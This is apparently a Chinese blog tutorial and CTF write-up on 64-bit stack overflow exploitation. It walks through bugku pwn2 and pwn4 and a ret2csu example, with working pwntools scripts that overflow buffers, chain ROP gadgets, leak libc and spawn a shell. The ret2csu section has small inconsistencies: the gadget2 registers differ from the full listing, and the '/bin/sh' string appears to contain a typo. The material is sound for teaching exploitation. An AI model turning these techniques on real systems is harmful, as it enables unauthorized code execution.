ROP之64位栈溢出

写在前面

之前把32位程序的基本溢出操作和ROP手段总结完了,现在把64位程序栈溢出和基本ROP手法总结下,用以备忘。依然由简入深。

bugku pwn2

首先看保护机制
g1.png
什么也没开,64位程序
扔IDA
g2.png
有一个栈溢出漏洞,还有个getshell函数,我们看下它的伪代码
g2.png
果然能直接拿shell,得flag。
这里说一下,linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。(copy的蒸米大佬的)
这里,算下偏移,有些和32位不大一样
直到输入制造的数据都是一样的
g4.png
看,红线部分,不再是0x414141那样了,这是因为使用的内存地址大于了0x00007fffffffffff,我们需要查看栈顶获得跳转的地址,从而计算溢出

1
2
gdb-peda$ x/gx $rsp
0x7fffffffdb98: 0x4841413241416341

由于是小端计数,所以后八位会是我们的字符

1
2
gdb-peda$ pattern offset 0x41416341
1094804289 found at offset: 56

事实上,直接全输入也可以

1
2
gdb-peda$ pattern offset 0x4841413241416341
5206514328315978561 found at offset: 56

ok,然后看脚本

1
2
3
4
5
from pwn import *
r = remote('114.116.54.89',10003)
payload = 'a'*56 + p64(0x400751)
r.sendline(payload)
r.interactive()

bugku pwn4

还是先检查保护机制
g4 _1_.png
同样是64位程序,未开启任何防护,扔IDA
g18.png
发现栈溢出,然后看字符串
g6.png
g7.png
虽然没有”/bin/sh”但是有$0,同样可以拿shell,而且左边可以看到system函数
但是我在ROPgadget中查不到它的地址,只好自己推算,从地址开始,经历31个字符到$0所以其地址为0x060111f,然后注意
64位程序,参数不在栈中,而在寄存器里,所以我们需要pop它到rdi,先找个gadget

1
2
ROPgadget --binary pwn4 --only 'pop|ret' | grep 'rdi'
0x00000000004007d3 : pop rdi ; ret

ok,看脚本`

1
2
3
4
5
6
7
8
9
from pwn import *
r = remote('114.116.54.89',10004)
sh = 0x060111f
sys = 0x400570
pop_ret = 0x4007d3
payload = 'a'*24 + p64(pop_ret) + p64(sh) + p64(sys)
r.recvuntil('me')
r.sendline(payload)
r.interactive()

万能gadgets

ret2csu

先贴下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

看下保护措施

1
2
3
4
5
6
[*] '/home/xiy/\xe4\xb8\x8b\xe8\xbd\xbd/pwn/ret2csu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

嗯哼,开始说题
看看IDA
g13.png
g115.png
无system,无‘bin、sh’,可构造ROP很少,我们需要用ret2csu去做

原理

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。在IDA看下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
.text:0000000000400590 ; =============== S U B R O U T I N E =================
.text:0000000000400590
.text:0000000000400590
.text:0000000000400590 ; void _libc_csu_init(void)
.text:0000000000400590 public __libc_csu_init
.text:0000000000400590 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400590 ; __unwind {
.text:0000000000400590 push r15
.text:0000000000400592 push r14
.text:0000000000400594 mov r15, rdx
.text:0000000000400597 push r13
.text:0000000000400599 push r12
.text:000000000040059B lea r12, __frame_dummy_init_array_entry
.text:00000000004005A2 push rbp
.text:00000000004005A3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005AA push rbx
.text:00000000004005AB mov r13d, edi
.text:00000000004005AE mov r14, rsi
.text:00000000004005B1 sub rbp, r12
.text:00000000004005B4 sub rsp, 8
.text:00000000004005B8 sar rbp, 3
.text:00000000004005BC call _init_proc
.text:00000000004005C1 test rbp, rbp
.text:00000000004005C4 jz short loc_4005E6
.text:00000000004005C6 xor ebx, ebx
.text:00000000004005C8 nop dword ptr [rax+rax+00000000h]
.text:00000000004005D0
.text:00000000004005D0 loc_4005D0: ; CODE XREF: __libc_csu_init+54↓j
.text:00000000004005D0 mov rdx, r15
.text:00000000004005D3 mov rsi, r14
.text:00000000004005D6 mov edi, r13d
.text:00000000004005D9 call qword ptr [r12+rbx*8]
.text:00000000004005DD add rbx, 1
.text:00000000004005E1 cmp rbp, rbx
.text:00000000004005E4 jnz short loc_4005D0
.text:00000000004005E6
.text:00000000004005E6 loc_4005E6: ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004005E6 add rsp, 8
.text:00000000004005EA pop rbx
.text:00000000004005EB pop rbp
.text:00000000004005EC pop r12
.text:00000000004005EE pop r13
.text:00000000004005F0 pop r14
.text:00000000004005F2 pop r15
.text:00000000004005F4 retn
.text:00000000004005F4 ; } // starts at 400590
.text:00000000004005F4 __libc_csu_init endp

看这段gadgets(gadget1)

1
2
3
4
5
6
7
8
9
10
11
12
.text:00000000004005E6
.text:00000000004005E6 loc_4005E6: ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004005E6 add rsp, 8
.text:00000000004005EA pop rbx
.text:00000000004005EB pop rbp
.text:00000000004005EC pop r12
.text:00000000004005EE pop r13
.text:00000000004005F0 pop r14
.text:00000000004005F2 pop r15
.text:00000000004005F4 retn
.text:00000000004005F4 ; } // starts at 400590
.text:00000000004005F4 __libc_csu_init endp

我们可以利用栈溢出来控制rbx,rbp,r12,r13,r14,r15的值
然后看这一段(gadget2)

1
2
3
4
.text:00000000004005D0 loc_4005D0:                             ; CODE XREF: __libc_csu_init+54↓j
.text:00000000004005D0 mov rdx, r13d
.text:00000000004005D3 mov rsi, r14
.text:00000000004005D6 mov rdi, r15

我们可以把第一段中,r15的值给rdi,把r14的值给rsi,把r13的值给rdx,此时rdi的高32位寄存器中值为0,所以我们也可以控制rdi的值,而在64位程序中,rdi为第一个参数的存放寄存器,rsi为第二个参数,rdx为第三个参数。
看这一段(也属于gadget2)

1
2
3
4
.text:00000000004005D9                 call    qword ptr [r12+rbx*8]
.text:00000000004005DD add rbx, 1
.text:00000000004005E1 cmp rbp, rbx
.text:00000000004005E4 jnz short loc_4005D0

它会通过call指令跳转到r12(rbx为0);会判断rbx+1是否和rbp相等,不相等则重新执行第二个gadgets,我们可以设置rbp为1,让他不再重复执行
简单来说还是通过控制寄存器来调用系统函数
做题思路:

利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新执行 main 函数。
再次利用栈溢出执行 libc_csu_gadgets 执行 execve('/bin/sh') 获取 shell。

贴张b站yichen大佬做题的堆栈结构图
2020-03-05 19-41-39 的屏幕截图.png
这只是第一个payload的堆栈结构。其余的差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *

elf = ELF('./ret2csu')
r = process('./ret2csu')

write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
bss_base = elf.bss()
gadget1 = 0x4005ea
gadget2 = 0x4005d0
offset_padding = 'a'*136

def csu(rbx,rbp,r12,r13,r14,r15,ret):
payload = offset_padding
payload += p64(gadget1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(gadget2)
payload += 'a'*56#保证能回到main pop用了6*8 加上add rsp的8位
payload += p64(ret)
r.send(payload)
sleep(1)
r.recvuntil('Hello, World\n')
csu(0,1,write_got,8,write_got,1,main_addr)#构造write(1,write_got,8)返回main

write_addr = u64(r.recv(8))
libc = LibcSearcher('write',write_addr)#寻找libc库版本
libc_base = write_addr - libc.dump('write')#计算基地址
execve_addr = libc_base + libc.dump('execve')#构造execve的地址

r.recvuntil('Hello, World\n')
csu(0,1,read_got,16,bss_base,0,main_addr)
r.send(p64(execve_addr) + '/bin/sh\0x00')
r.recvuntil('Hello, World\n')
csu(0,1,bss_base,0,0,bss_base + 8,main_addr)
r.interactive()

需要注意的是,我这里gadged2是逆序,即在gadget1布局时应该依次为第三个参数,第二个参数,第一个参数,而顺序的话则相反。
大家可以看下b站yichen师傅的讲解,很详细很强!

  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2020 丰年de博客

请我喝杯咖啡吧~

支付宝
微信